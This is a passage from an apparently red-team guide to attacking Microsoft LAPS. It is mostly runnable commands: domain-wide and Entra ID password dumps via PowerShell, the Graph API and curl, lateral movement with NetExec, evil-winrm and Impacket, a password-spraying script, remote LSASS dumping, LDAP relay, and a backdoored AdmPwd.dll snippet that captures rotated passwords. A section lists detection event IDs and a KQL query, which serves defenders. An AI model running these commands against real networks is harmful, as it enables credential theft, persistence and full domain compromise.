      Name = $_.Name
      HasClearText = $_.'msLAPS-Password' -ne $null
      HasEncrypted = $_.'msLAPS-EncryptedPassword' -ne $null
    }
  }

# If HasEncrypted = True and HasClearText = False → encryption is enabled
# Need DA or KDS root key access to decrypt

10.2 Reading Encrypted Passwords (with Domain Admin)

# Windows LAPS v2 — decrypt encrypted password via native cmdlet (requires DA or delegated role)
# The Get-LapsADPassword cmdlet handles decryption automatically

# Read and decrypt Windows LAPS password (built-in Windows LAPS cmdlet)
Get-LapsADPassword -Identity "WKSTN01" -AsPlainText
# Output:
# ComputerName : WKSTN01
# DistinguishedName : CN=WKSTN01,OU=...
# Account  : Administrator
# Password : xKp#7mQz2!Ry
# PasswordUpdateTime : 1/15/2025 12:00:00 PM
# ExpirationTimestamp : 2/14/2025 12:00:00 PM
# Source   : EncryptedPassword
# DecryptionStatus : Success

# Get ALL Windows LAPS v2 passwords (domain-wide dump)
Get-ADComputer -Filter * | ForEach-Object {
    Get-LapsADPassword -Identity $_.Name -AsPlainText -ErrorAction SilentlyContinue
}

# Get Windows LAPS password history
Get-LapsADPassword -Identity "WKSTN01" -AsPlainText -IncludeHistory

10.3 DSInternals — Decrypt LAPS Encrypted Passwords

# DSInternals toolkit can decrypt msLAPS-EncryptedPassword blobs
# Useful when you have DA-level access but want to decrypt from offline dumps

# Install DSInternals
Install-Module DSInternals

# Get and decrypt LAPS encrypted password
$key = Get-ADKdsRootKey     # Get KDS root key (requires DA)
$computer = Get-ADComputer "WKSTN01" -Properties msLAPS-EncryptedPassword
ConvertFrom-ADManagedPasswordBlob -Blob $computer.'msLAPS-EncryptedPassword'

10.4 Windows LAPS — DSRM Password (Critical!)

# Windows LAPS v2 can ALSO manage the DSRM (Directory Services Restore Mode) password
# This is the local admin password for Domain Controllers!
# Stored in: msLAPS-EncryptedDSRMPassword

# Read DSRM password for a DC (requires very high privilege)
Get-LapsADPassword -Identity "DC01" -AsPlainText -Type "DsrmPassword"

# If an attacker has this → they can boot the DC to DSRM mode and own the domain completely!

[v2] Windows LAPS encrypted passwords use DPAPI-NG with the domain's KDS Root Key. Even if you dump the blob, you need the KDS key to decrypt it. Domain Admins always have access to decrypt.


11. Dumping LAPS from Entra ID / Intune-Managed Devices

What it means: When Windows LAPS is configured to back up passwords to Microsoft Entra ID (for Entra-joined or Hybrid-joined devices), the LAPS password lives in the cloud — not in AD. It's accessible via the Microsoft Graph API if you have the right Entra ID role.

[MITRE] T1552 — Unsecured Credentials | T1528 — Steal Application Access Token

11.1 Required Entra ID Roles to Read LAPS

Roles that can read LAPS passwords from Entra ID:
─────────────────────────────────────────────────────────────────
Global Administrator           → Can read all device LAPS passwords
Cloud Device Administrator     → Can read all device LAPS passwords
Intune Administrator           → Can read all device LAPS passwords
Security Administrator         → Can read all device LAPS passwords
Helpdesk Administrator         → Can read passwords for non-admin-managed devices

ATTACK ANGLE: If you compromise any of these roles in Entra ID
→ you can dump ALL LAPS passwords for ALL Entra-joined devices in the tenant!

11.2 Dump Entra LAPS Passwords via MS Graph API

# Connect to Microsoft Graph with the right scope
Connect-MgGraph -Scopes 'DeviceLocalCredential.Read.All'

# Dump ALL Entra device LAPS passwords
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object {
    $deviceId = $_.Id
    $laps = Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $deviceId -ErrorAction SilentlyContinue
    if ($laps) {
        # Password is Base64 encoded
        $password = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($laps.Credentials[0].PasswordBase64))
        [PSCustomObject]@{
            DeviceName = $_.DisplayName
            DeviceId   = $deviceId
            Account    = $laps.Credentials[0].AccountName
            Password   = $password
        }
    }
}

# One-liner version (often shared as attack PoC)
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" |
  ForEach-Object {
    [array]$b64 = (Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.Id -ErrorAction SilentlyContinue).Credentials.PasswordBase64
    if($b64) { "$($_.DisplayName) : $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64[0])))" }
  }

11.3 Via Azure CLI / REST API

# Get access token with DeviceLocalCredential.Read.All scope
az login
TOKEN=$(az account get-access-token --scope "https://graph.microsoft.com/DeviceLocalCredential.Read.All" --query accessToken -o tsv)

# List all devices
curl -H "Authorization: Bearer $TOKEN" \
     "https://graph.microsoft.com/v1.0/devices?\$filter=operatingSystem eq 'Windows'" | jq '.value[].id'

# Get LAPS credential for a specific device
DEVICE_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -H "Authorization: Bearer $TOKEN" \
     "https://graph.microsoft.com/beta/directory/deviceLocalCredentials/$DEVICE_ID?select=credentials" |
     python3 -c "
import sys,json,base64
d=json.load(sys.stdin)
for c in d.get('credentials',[]):
    p=base64.b64decode(c['passwordBase64']).decode()
    print(f\"Account: {c['accountName']}  Password: {p}\")
"

[DETECT] Entra ID generates an audit log entry: Recover device local administrator password / Successfully recovered local credential by device id. The Sigma rule for this is azure_auditlogs_laps_credential_dumping. Bulk reads are very visible.


12. Lateral Movement with LAPS Passwords

What it means: LAPS passwords give you local administrator access to specific machines. This is your primary lateral movement primitive — use the LAPS password to authenticate to the target machine and execute code.

[MITRE] T1021.002 — Remote Services: SMB/Windows Admin Shares | T1021.006 — Remote Services: Windows Remote Management

12.1 Authenticate with LAPS Password (SMB / WinRM / RDP)

# NetExec — authenticate with LAPS password (local auth is key!)
# ALWAYS use --local-auth because LAPS is a LOCAL account, not domain!
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' --local-auth

# Execute command on the target
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
  --local-auth -x "whoami; hostname"

# WinRM
nxc winrm WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
  --local-auth -x "whoami"

# Interactive WinRM session
evil-winrm -i WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry'

# RDP (if enabled)
xfreerdp /u:Administrator /p:'xKp#7mQz2!Ry' /v:WKSTN01.corp.local

# Impacket — PSExec with LAPS password
psexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local

# Impacket — SMBExec
smbexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local

# Impacket — WMIExec
wmiexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local

12.2 Pass-the-Hash with LAPS Credentials

# Get NTLM hash from LAPS password (offline calculation or dump from machine)
# Once you're on a LAPS-managed machine as local admin, dump the hash

# Dump local SAM hashes (from inside the machine)
nxc smb WKSTN01 -u Administrator -p 'xKp#7mQz2!Ry' --local-auth --sam

# Output:
# SMB  WKSTN01  445   WKSTN01   Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLMHASH:::

# Use hash on OTHER machines (but remember - LAPS hashes are unique per machine!)
# This only works if that machine ALSO has the same LAPS password (unlikely)
# More useful: use hash for the SAME machine's other services
nxc smb WKSTN01 -u Administrator -H 'NTLMHASH' --local-auth

12.3 Spray LAPS Passwords Across Multiple Machines

# If multiple machines are in the same OU with similar configurations,
# sometimes a newly observed LAPS password works briefly before rotation

# Loop through all machines with a specific LAPS password
nxc smb targets.txt -u Administrator -p 'xKp#7mQz2!Ry' --local-auth

# Combine with LAPS dump → lateral movement at scale
# 1. Dump all LAPS passwords for the Workstations OU
# 2. For each password, try it on the corresponding machine
python3 << 'EOF'
import subprocess
laps_data = {
    "WKSTN01": "xKp#7mQz2!Ry",
    "WKSTN02": "Lw8@nJvX4$Qs",
    "WKSTN03": "Pm3!uFcT6#Vy",
}
for host, pwd in laps_data.items():
    cmd = f"nxc smb {host}.corp.local -u Administrator -p '{pwd}' --local-auth -x 'hostname'"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if "[+]" in result.stdout:
        print(f"[SUCCESS] {host}: {pwd}")
EOF

12.4 Use LAPS Access to Dump Domain Credentials

# Once you have local admin on a machine via LAPS:
# → If a domain admin is logged in → dump their creds via LSASS!

# Check who's logged in (look for DA sessions)
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
  --local-auth --loggedon-users

# Dump LSASS remotely (if Mimikatz / nanodump is available)
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
  --local-auth -M nanodump

# Or: Use local admin → run payload → get DA session from machine → escalate to DA
# LAPS password → local admin → LSASS dump → DA creds → Domain compromise

13. LAPS DLL Backdoor / Persistence

What it means: Legacy LAPS uses a Group Policy Client-Side Extension DLL (AdmPwd.dll) to rotate passwords. If an attacker can replace or trojan this DLL on a machine where they have local admin, they can intercept every future password rotation — capturing the new LAPS password before it's stored in AD.

[MITRE] T1574.002 — Hijack Execution Flow: DLL Side-Loading | T1098 — Account Manipulation

13.1 Identifying the LAPS DLL

# LAPS v1 CSE DLL location
# 32-bit: C:\Windows\SysWOW64\AdmPwd.dll
# 64-bit: C:\Windows\System32\AdmPwd.dll

# Verify LAPS DLL is present and check its version
Get-Item "C:\Windows\System32\AdmPwd.dll" | Select-Object Name, VersionInfo
Test-Path "C:\Windows\System32\AdmPwd.dll"   # True = LAPS v1 installed

# Registry confirms LAPS CSE is registered
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /s |
  findstr "AdmPwd"

13.2 Backdooring AdmPwd.dll (Concept)

ATTACK: Trojanized LAPS DLL
─────────────────────────────────────────────────────────────────
1. Attacker has local admin on target machine (via LAPS or other means)
2. Attacker replaces/patches AdmPwd.dll with backdoored version
3. Backdoored DLL still functions normally (rotates passwords)
   BUT ALSO: exfiltrates the new password to attacker C2 / logs it locally

Result:
  - LAPS still "works" from defender's perspective
  - Attacker receives every new password the moment it's generated
  - Persistent access to local admin even after password rotations

Requirements: Local admin on target to replace system DLL

Detection bypass:
  - Use DLL proxying (forward all legitimate exports to original)
  - Match original DLL file metadata, version, signature (requires legitimate cert)
  - Remove modification timestamps (timestomp)
// Backdoored DLL snippet concept (educational)
// In the password rotation function, before writing to AD:
// capture the new password and write it to a hidden file or C2

void BackdoorPasswordRotation(LPTSTR newPassword, LPTSTR computerName) {
    // [ORIGINAL LAPS CODE] — still runs normally
    OriginalSetPassword(newPassword, computerName);

    // [BACKDOOR CODE] — log the new password
    FILE* f = fopen("C:\\Windows\\Temp\\laps_log.dat", "a");
    if (f) {
        fprintf(f, "%s|%s\n", computerName, newPassword);
        fclose(f);
    }
    // Or: send to C2 via HTTP/HTTPS
}

13.3 Persistence via Writing Known LAPS Password to AD

# If you have WriteProperty on ms-Mcs-AdmPwd (rare but possible misconfiguration):
# → Write a KNOWN password into the attribute → LAPS "thinks" it already rotated
# → Machine might not rotate again until expiration → you keep your known password

# This is more of a sabotage/persistence trick
# Requires: WriteProperty on ms-Mcs-AdmPwd attribute

Set-DomainObject -Identity "WKSTN01" \
  -Set @{'ms-Mcs-AdmPwd' = 'MyKnownPassword123!'} -Verbose
# Note: The machine will overwrite this on the NEXT GP refresh!
# Combine with extending the expiration time to delay rotation

14. Machines Without LAPS — Still Dangerous

What it means: LAPS is typically only applied to certain OUs. Servers, Domain Controllers, and older machines are often excluded. These machines still have the default or shared local admin password — making them vulnerable to the classic Pass-the-Hash lateral movement that LAPS was designed to prevent.

14.1 Finding Non-LAPS Machines

# Find all domain computers NOT managed by LAPS
# These are the classic PTH targets!
$allComputers = Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd', OperatingSystem, 'ms-Mcs-AdmPwdExpirationTime'

$noLAPS = $allComputers | Where-Object {
    $_.'ms-Mcs-AdmPwdExpirationTime' -eq $null
}

Write-Host "[+] Machines WITHOUT LAPS ($($noLAPS.Count) found):"
$noLAPS | Select-Object Name, OperatingSystem | Format-Table -AutoSize

# Group by OU to identify which OUs are missing LAPS coverage
$noLAPS | ForEach-Object {
    $ou = $_.DistinguishedName -replace "^CN=[^,]+,",""
    $ou
} | Group-Object | Sort-Object Count -Descending

14.2 Testing Default / Shared Local Admin Password

# Once you know which machines don't have LAPS,
# try the shared local admin password you already know from another machine

# Spray the known local admin hash or password across non-LAPS machines
nxc smb non_laps_targets.txt -u Administrator -H 'SHARED_NTLM_HASH' --local-auth

# Or with a known password
nxc smb non_laps_targets.txt -u Administrator -p 'SharedPassword123!' --local-auth

# Pivot: Local admin on non-LAPS server → dump → domain escalation

15. Detection & Event IDs

What it means: Blue team visibility into LAPS attacks. Know what you leave behind so you can choose your approach carefully.

[DETECT] Critical event IDs to know:

15.1 Key Windows Event IDs

Event ID  Source              What it Logs
──────────────────────────────────────────────────────────────────────────────────
4662      Security (DC)       Object access — fires when ms-Mcs-AdmPwd is READ
                              Look for: Properties = {ms-Mcs-AdmPwd}
                              This is the PRIMARY LAPS read detection!

5136      Security (DC)       Directory Service Object Modified
                              Fires when ms-Mcs-AdmPwdExpirationTime is WRITTEN
                              (Force expiry attack / freeze rotation attack)

4624      Security            Successful logon
                              Correlate with 4662: same user reading LAPS then
                              authenticating to target machine = LAPS abuse

10018     LAPS Operational    Password successfully updated in AD (on client)
10020     LAPS Operational    Password NOT updated (failed rotation)
10025     LAPS Operational    Device registration endpoint discovery

Entra ID:
────────────────────────────────────────────────────────────────────────
Audit Log   "Recover device local administrator password"
            Activity type = 'Recover device local administrator password'
            additionalDetails = 'Successfully recovered local credential by device id'
            → Sigma rule: azure_auditlogs_laps_credential_dumping

15.2 Suspicious Patterns to Watch

Red flags in Event ID 4662 (LAPS password read):
  - Account reading LAPS password for a machine they don't normally manage
  - Bulk reads: same account reading ms-Mcs-AdmPwd for 10+ machines in a short window
  - Read at an unusual time (3 AM, weekend)
  - Read followed within minutes by logon (4624) to the same machine

Red flags in Event ID 5136 (LAPS attribute modification):
  - ms-Mcs-AdmPwdExpirationTime set to a past date (force rotation attack)
  - ms-Mcs-AdmPwdExpirationTime set to a far future date (freeze rotation attack)
  - Modification by an account other than the computer account (SELF) or LAPS Admins

KQL Query for Microsoft Sentinel — LAPS Bulk Read Detection:
───────────────────────────────────────────────────────────────────────
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| summarize ReadCount = count(), Machines = make_set(ObjectName)
    by Account, bin(TimeGenerated, 1h)
| where ReadCount > 5
| project TimeGenerated, Account, ReadCount, Machines

16. Tools Reference

Tool Language Purpose Source
NetExec (nxc) Python Remote LAPS dump via LDAP, SMB exec with LAPS creds pip install netexec
pyLAPS Python Python getter/setter for ms-Mcs-AdmPwd GitHub: p0dalirius/pyLAPS
LAPSDumper Python Simple Python LAPS password dumper GitHub: n00py/LAPSDumper
PowerView PowerShell ACL enumeration, LAPS attribute read PowerSploit/Dev
AdmPwd.PS PowerShell Official LAPS management module Microsoft / LAPS install
Get-LapsADPassword PowerShell Windows LAPS v2 native cmdlet Built into Windows (2023+)
bloodyAD Python LDAP manipulation, LAPS attribute ops GitHub: CravateRouge/bloodyAD
impacket-ntlmrelayx Python LDAP relay with --dump-laps flag Impacket suite
GetLAPSPassword.py Python Impacket standalone LAPS dumper Impacket/contrib
DSInternals PowerShell Decrypt Windows LAPS v2 encrypted blobs GitHub: MichaelGrafnetter/DSInternals
Find-AdmPwdExtendedRights PowerShell Audit who can read LAPS passwords Part of AdmPwd.PS module
LAPS_Enum.ps1 PowerShell Enumerate LAPS status across domain Various red team repos
SharpLAPS C# .NET LAPS password reader GitHub: swisskyrepo/SharpLAPS
Responder Python LLMNR/NBT-NS poisoner for relay attacks GitHub: lgandx/Responder

17. Comparison Matrix

Attack Rights Required Noise Level Impact Tools
Direct LAPS read (ReadProperty) ReadProperty on ms-Mcs-AdmPwd Medium (4662) Local admin on target NetExec, PowerView, pyLAPS
AllExtendedRights → LAPS read AllExtendedRights on Computer Medium (4662) Local admin on target PowerView, AdmPwd.PS
LDAP Relay → LAPS dump Network position (LDAP signing off) Low Local admin on any machine readable by relayed user ntlmrelayx + Responder
Force expiry (write ExpirationTime) WriteProperty on ExpirationTime Low-Medium (5136) Forces password reset — useful if you also can read pyLAPS, Set-DomainObject
Freeze rotation (write ExpirationTime) WriteProperty on ExpirationTime Low (5136) Extends known password validity Set-DomainObject
Entra ID Graph API dump Cloud Device Admin / Global Admin High (audit log) All Entra-joined device local admin MS Graph, Connect-MgGraph
DLL backdoor (AdmPwd.dll) Local admin on target Very Low Persistent password interception Custom DLL
Non-LAPS machine PTH Any local admin (initial foothold) Medium (4624) Lateral movement to all non-LAPS machines NetExec, Impacket
Windows LAPS v2 decrypt Domain Admin Medium All AD-joined device LAPS passwords Get-LapsADPassword, DSInternals

18. Cheat Sheet

LAPS Attack Decision Tree

Target has Active Directory + LAPS?
│
├─ Is LAPS even deployed?
│   ├─ Check: ldapsearch for (ms-Mcs-AdmPwdExpirationTime=*)
│   ├─ YES → some/all machines managed (proceed below)
│   └─ NO → all machines = shared local admin password
│       └─ PTH / password spray → domain-wide lateral movement
│
├─ Do you have any domain credentials?
│   ├─ YES → enumerate who can read LAPS passwords
│   │   └─ PowerView: Get-DomainObjectAcl | Where ObjectAceType -like 'ms-Mcs-AdmPwd'
│   │
│   └─ NO → can you trigger NTLM auth?
│       └─ LDAP signing not enforced? → LDAP relay attack!
│           └─ ntlmrelayx -t ldaps://DC --dump-laps
│
├─ Can your current user READ ms-Mcs-AdmPwd?
│   ├─ YES → dump LAPS passwords!
│   │   ├─ Windows: Get-AdmPwdPassword / Get-DomainComputer -Properties ms-Mcs-AdmPwd
│   │   └─ Linux: nxc ldap DC -u user -p pass -M laps
│   │             pyLAPS.py --action get ...
│   │
│   └─ NO → look for other rights
│       ├─ AllExtendedRights on Computer? → also gives LAPS read
│       ├─ WriteProperty on ExpirationTime? → force rotation + catch new password
│       └─ WriteDACL on OU/Computer? → grant yourself ReadProperty, then read
│
├─ What version of LAPS?
│   ├─ v1 (ms-Mcs-AdmPwd): Plaintext → read directly if you have rights
│   └─ v2 (msLAPS-Password or msLAPS-EncryptedPassword)
│       ├─ Encryption disabled → msLAPS-Password is JSON → parse and read
│       └─ Encryption enabled → need DA or delegated decrypt role
│           └─ Get-LapsADPassword -AsPlainText (if you have rights)
│
├─ LAPS backing up to Entra ID?
│   └─ Cloud Device Admin or Global Admin compromised?
│       └─ Get-MgDevice + Get-MgDirectoryDeviceLocalCredential → dump all cloud LAPS
│
└─ Got LAPS password for a machine?
    ├─ Always use --local-auth (it's a LOCAL account!)
    ├─ nxc smb TARGET -u Administrator -p 'LAPS_PWD' --local-auth
    ├─ evil-winrm -i TARGET -u Administrator -p 'LAPS_PWD'
    └─ Check: is a domain admin logged in? → dump LSASS → escalate!

Key Commands at a Glance

# DETECT LAPS DEPLOYMENT (any domain user)
Get-DomainComputer | Where { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null }

# FIND WHO CAN READ LAPS
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local"

# READ LAPS PASSWORD (Windows)
Get-AdmPwdPassword -ComputerName WKSTN01
Get-DomainComputer WKSTN01 -Properties ms-Mcs-AdmPwd

# READ LAPS PASSWORD (Linux - NetExec)
nxc ldap DC01 -u user -p 'Pass' -M laps

# READ LAPS PASSWORD (Linux - ldapsearch)
ldapsearch -x -H ldap://DC01 -D "user@corp.local" -w 'Pass' \
  -b "DC=corp,DC=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

# READ LAPS PASSWORD (Linux - pyLAPS)
python3 pyLAPS.py --action get -u user -d corp.local -p 'Pass' --dc-ip DC_IP

# FORCE PASSWORD ROTATION (Write ExpirationTime)
Set-DomainObject -Identity WKSTN01 -Set @{'ms-Mcs-AdmPwdExpirationTime'='136257686710000000'}

# LDAP RELAY TO DUMP LAPS
ntlmrelayx.py -t ldaps://DC_IP --dump-laps --no-dump --no-da --no-acl

# WINDOWS LAPS v2 READ (with rights)
Get-LapsADPassword -Identity WKSTN01 -AsPlainText

# ENTRA ID LAPS DUMP (with Cloud Device Admin)
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object {
  (Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.Id).Credentials
}

# LATERAL MOVEMENT WITH LAPS PASSWORD
nxc smb WKSTN01.corp.local -u Administrator -p 'LAPS_PASSWORD' --local-auth
evil-winrm -i WKSTN01.corp.local -u Administrator -p 'LAPS_PASSWORD'
psexec.py ./Administrator:'LAPS_PASSWORD'@WKSTN01.corp.local

LAPS Attribute Quick Reference

Attribute                       Version   Readable By                  Notes
────────────────────────────────────────────────────────────────────────────────────────
ms-Mcs-AdmPwd                   v1        Delegated (ReadProperty)     Plaintext password
ms-Mcs-AdmPwdExpirationTime     v1        ANY domain user (!)          Expiry timestamp — use for detection
msLAPS-Password                 v2        Delegated (ReadProperty)     JSON cleartext (if no encryption)
msLAPS-PasswordExpirationTime   v2        ANY domain user (!)          Expiry timestamp
msLAPS-EncryptedPassword        v2        Delegated + decrypt rights   AES-256 encrypted blob (KDS)
msLAPS-EncryptedPasswordHistory v2        Delegated + decrypt rights   Historical encrypted passwords
msLAPS-EncryptedDSRMPassword    v2        DC-level decrypt rights      DSRM password for DC — CRITICAL!

Windows FileTime Conversion (for ExpirationTime manipulation)

# Convert a normal date to FileTime (for setting ExpirationTime)
[DateTime]"2020-01-01" | Get-Date -UFormat "%s" # Unix
(Get-Date "2020-01-01").ToFileTimeUtc()           # = 132224352000000000 (past date → forces rotation)
[DateTime]::MaxValue.ToFileTimeUtc()              # = 3155378975999999999 (max = freeze rotation)

# Convert FileTime back to readable date
[DateTime]::FromFileTimeUtc(132609935231523081)   # → readable date

References & Tools

Primary Tools:

  • NetExec (nxc) — https://github.com/Pennyw0rth/NetExec
  • pyLAPS — https://github.com/p0dalirius/pyLAPS
  • LAPSDumper — https://github.com/n00py/LAPSDumper
  • SharpLAPS — https://github.com/swisskyrepo/SharpLAPS
  • bloodyAD — https://github.com/CravateRouge/bloodyAD
  • DSInternals — https://github.com/MichaelGrafnetter/DSInternals
  • PowerView — https://github.com/PowerShellMafia/PowerSploit/tree/dev
  • Impacket — https://github.com/fortra/impacket
  • Responder — https://github.com/lgandx/Responder

Further Reading:

  • HackTricks LAPS — https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/laps.html
  • ired.team LAPS — https://www.ired.team
  • TrustedSec LAPS Detection — https://trustedsec.com/blog/a-lapse-in-judgement
  • Praetorian LAPS Relay — https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks/
  • Microsoft LAPS v2 Docs — https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
  • Hacking Articles LAPS — https://www.hackingarticles.in/credential-dumping-laps/
  • PayloadsAllTheThings Azure AD — https://swisskyrepo.github.io/InternalAllTheThings/
  • MITRE ATT&CK T1552 — https://attack.mitre.org/techniques/T1552/

← Windows top ↑